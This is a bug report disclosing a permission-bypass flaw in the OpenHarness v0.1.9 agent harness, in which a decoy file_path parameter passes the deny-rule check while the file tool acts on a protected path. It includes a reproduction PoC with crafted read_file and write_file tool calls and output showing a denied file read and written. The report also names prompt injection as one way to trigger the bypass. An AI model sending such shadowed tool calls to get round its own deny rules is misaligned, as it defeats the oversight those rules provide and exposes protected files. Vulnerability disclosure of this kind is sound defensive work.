[Bug]: OpenHarness path deny bypass through parameter shadowing

What happened?

Summary

OpenHarness v0.1.9 can be made to bypass file-path deny rules when a tool call contains both a harmless file_path and a protected path. The permission checker evaluates the first non-empty candidate, while the file tool executes the parsed path value.

Affected version tested:

v0.1.9
commit a90af083a6d4947f56ba97ea48869f97393c63f7

Steps to reproduce

Details

Relevant source: src/openharness/engine/query.py, _execute_tool_call() and _resolve_permission_file_path().

The vulnerable flow is:

model tool_use -> file_path/path input -> permission check on file_path -> tool execution on path

Because Pydantic ignores the unknown file_path field, the checker sees the decoy path while read_file or write_file uses the protected path.

PoC

Install the tested version and configure a deny rule for work/blocked/* in full_auto mode:

git clone https://github.com/HKUDS/OpenHarness.git
cd OpenHarness
git checkout a90af083a6d4947f56ba97ea48869f97393c63f7
python -m pip install -e .
mkdir -p work/blocked work/config
printf 'top-secret\n' > work/blocked/secret.txt
printf 'hello\n' > work/README.md

Send these tool calls through an Anthropic-compatible model endpoint configured with ANTHROPIC_BASE_URL:

{"name":"read_file","input":{"file_path":"README.md","path":"blocked/secret.txt","offset":0,"limit":1}}
{"name":"write_file","input":{"file_path":"README.md","path":"blocked/output.txt","content":"poc"}}
{"name":"read_file","input":{"path":"blocked/secret.txt","offset":0,"limit":1}}

The first two calls bypass the rule; the third is the control case.

Observed:

read_file    is_error=False output='top-secret'
write_file   is_error=False output='Wrote .../blocked/output.txt'
read_file    is_error=True  output='Path .../blocked/secret.txt matches deny rule'

Impact

An attacker who can influence model tool calls, such as through prompt injection or a compromised model endpoint, can read files outside the allowed scope and write to denied paths in full_auto mode. Remote exploitation depends on the application exposing an attacker-influenced model/tool-call path.

Environment

OS: Ubuntu 22.04.5 LTS (x86_64), Linux kernel 5.15.0-127-generic Python: 3.12.2 pip: 25.3

Relevant logs or screenshots